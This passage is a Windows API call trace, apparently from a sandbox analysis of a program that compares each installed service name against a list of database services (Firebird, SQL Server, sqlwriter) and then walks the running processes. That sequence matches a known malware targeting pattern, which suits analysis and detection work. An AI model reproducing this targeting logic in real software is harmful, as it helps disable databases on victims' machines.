(lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0286.675] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0286.675] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0286.675] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0286.675] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0286.675] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0286.675] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0286.675] lstrlenW (lpString="Audiosrv") returned 8 [0286.675] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0286.675] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0286.675] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0286.675] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0286.675] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0286.675] lstrlenW (lpString="BFE") returned 3 [0286.675] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0286.675] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0286.675] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0286.675] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0286.675] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0286.675] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0286.675] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0286.675] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0286.675] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0286.675] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0286.676] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0286.676] lstrlenW (lpString="CDPSvc") returned 6 [0286.676] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0286.676] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0286.676] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0286.676] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0286.676] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0286.676] lstrlenW (lpString="ClickToRunSvc") returned 13 [0286.676] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0286.676] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0286.676] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0286.676] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0286.676] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0286.676] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0286.676] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0286.676] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0286.676] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0286.676] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0286.676] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0286.676] lstrlenW (lpString="CryptSvc") returned 8 [0286.676] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0286.676] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0286.676] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0286.676] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0286.676] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0286.677] lstrlenW (lpString="DcomLaunch") returned 10 [0286.677] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0286.677] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0286.677] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0286.677] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0286.677] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0286.677] lstrlenW (lpString="DeviceAssociationService") returned 24 [0286.677] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0286.677] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0286.677] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0286.677] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0286.677] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0286.677] lstrlenW (lpString="Dhcp") returned 4 [0286.677] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0286.677] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0286.677] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0286.677] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0286.677] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0286.677] lstrlenW (lpString="Dnscache") returned 8 [0286.677] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0286.677] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0286.677] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0286.677] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0286.677] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0286.678] lstrlenW (lpString="DPS") returned 3 [0286.678] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0286.678] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0286.678] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0286.678] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0286.678] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0286.678] lstrlenW (lpString="DusmSvc") returned 7 [0286.678] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0286.678] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0286.678] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0286.678] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0286.678] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0286.678] lstrlenW (lpString="EventLog") returned 8 [0286.678] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0286.678] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0286.678] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0286.678] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0286.678] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0286.678] lstrlenW (lpString="EventSystem") returned 11 [0286.678] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0286.678] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0286.678] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0286.678] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0286.678] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0286.679] lstrlenW (lpString="FontCache") returned 9 [0286.679] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0286.679] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0286.679] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0286.679] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0286.679] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0286.679] lstrlenW (lpString="gpsvc") returned 5 [0286.679] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0286.679] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0286.679] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0286.679] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0286.679] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0286.679] lstrlenW (lpString="iphlpsvc") returned 8 [0286.679] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0286.679] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0286.679] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0286.679] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0286.679] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0286.679] lstrlenW (lpString="KeyIso") returned 6 [0286.679] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0286.679] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0286.679] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0286.679] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0286.679] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0286.680] lstrlenW (lpString="LanmanServer") returned 12 [0286.680] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0286.680] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0286.680] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0286.680] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0286.680] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0286.680] lstrlenW (lpString="LanmanWorkstation") returned 17 [0286.680] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0286.680] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0286.680] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0286.680] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0286.680] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0286.680] lstrlenW (lpString="lfsvc") returned 5 [0286.680] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0286.680] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0286.680] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0286.680] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0286.680] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0286.680] lstrlenW (lpString="lmhosts") returned 7 [0286.680] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0286.680] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0286.680] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0286.680] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0286.680] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0286.681] lstrlenW (lpString="LSM") returned 3 [0286.681] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0286.681] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0286.681] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0286.681] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0286.681] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0286.681] lstrlenW (lpString="MpsSvc") returned 6 [0286.681] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0286.681] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0286.681] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0286.681] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0286.681] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0286.681] lstrlenW (lpString="NcbService") returned 10 [0286.681] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0286.681] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0286.681] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0286.681] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0286.681] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0286.681] lstrlenW (lpString="netprofm") returned 8 [0286.681] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0286.681] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0286.681] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0286.681] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0286.681] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0286.682] lstrlenW (lpString="NgcSvc") returned 6 [0286.682] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0286.682] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0286.682] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0286.682] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0286.682] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0286.682] lstrlenW (lpString="NlaSvc") returned 6 [0286.682] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0286.682] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0286.682] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0286.682] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0286.682] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0286.682] lstrlenW (lpString="nsi") returned 3 [0286.682] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0286.682] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0286.682] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0286.682] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0286.682] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0286.682] lstrlenW (lpString="PcaSvc") returned 6 [0286.682] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0286.682] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0286.682] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0286.682] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0286.682] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0286.683] lstrlenW (lpString="PlugPlay") returned 8 [0286.683] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0286.683] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0286.683] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0286.683] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0286.683] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0286.683] lstrlenW (lpString="Power") returned 5 [0286.683] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0286.683] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0286.683] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0286.683] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0286.683] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0286.683] lstrlenW (lpString="ProfSvc") returned 7 [0286.683] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0286.683] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0286.683] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0286.683] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0286.683] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0286.683] lstrlenW (lpString="RpcEptMapper") returned 12 [0286.683] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0286.683] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0286.683] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0286.683] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0286.683] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0286.684] lstrlenW (lpString="RpcSs") returned 5 [0286.684] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0286.684] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0286.684] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0286.684] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0286.684] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0286.684] lstrlenW (lpString="SamSs") returned 5 [0286.684] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0286.684] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0286.684] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0286.684] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0286.684] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0286.684] lstrlenW (lpString="Schedule") returned 8 [0286.684] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0286.684] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0286.684] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0286.684] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0286.684] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0286.684] lstrlenW (lpString="SecurityHealthService") returned 21 [0286.684] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0286.684] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0286.684] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0286.684] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0286.685] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0286.685] lstrlenW (lpString="SENS") returned 4 [0286.685] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0286.685] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0286.685] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0286.685] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0286.685] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0286.685] lstrlenW (lpString="ShellHWDetection") returned 16 [0286.685] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0286.685] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0286.685] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0286.685] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0286.685] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0286.685] lstrlenW (lpString="Spooler") returned 7 [0286.685] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0286.685] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0286.685] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0286.685] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0286.685] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0286.685] lstrlenW (lpString="StateRepository") returned 15 [0286.685] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0286.685] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0286.685] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0286.685] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0286.686] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0286.686] lstrlenW (lpString="SysMain") returned 7 [0286.686] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0286.686] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0286.686] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0286.686] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0286.686] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0286.686] lstrlenW (lpString="SystemEventsBroker") returned 18 [0286.686] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0286.686] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0286.686] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0286.686] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0286.686] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0286.686] lstrlenW (lpString="Themes") returned 6 [0286.686] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0286.686] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0286.686] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0286.686] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0286.686] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0286.686] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0286.686] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0286.686] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0286.686] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0286.686] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0286.687] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45de478 | out: hHeap=0x640000) returned 1 [0286.687] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x564 [0286.711] Process32FirstW (in: hSnapshot=0x564, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0286.712] Process32NextW (in: hSnapshot=0x564, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x69, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0286.713] lstrlenW (lpString="System") returned 6 [0286.713] Process32NextW (in: hSnapshot=0x564, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0286.715] lstrlenW (lpString="smss.exe") returned 8 [0286.715] Process32NextW (in: hSnapshot=0x564, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0286.716] lstrlenW (lpString="csrss.exe") returned 9 [0286.716] Process32NextW (in: hSnapshot=0x564, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0286.717] lstrlenW (lpString="wininit.exe") returned 11 [0286.717] Process32NextW (in: hSnapshot=0x564, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0286.718] lstrlenW (lpString="csrss.exe") returned 9 [0286.718] Process32NextW (in: hSnapshot=0x564, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0286.719] lstrlenW (lpString="winlogon.exe") returned 12 [0286.719] Process32NextW (in: hSnapshot=0x564, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0286.720] lstrlenW (lpString="services.exe") returned 12 [0286.720] Process32NextW (in: hSnapshot=0x564, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0286.721] lstrlenW (lpString="lsass.exe") returned 9 [0286.721] Process32NextW (in: hSnapshot=0x564, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) 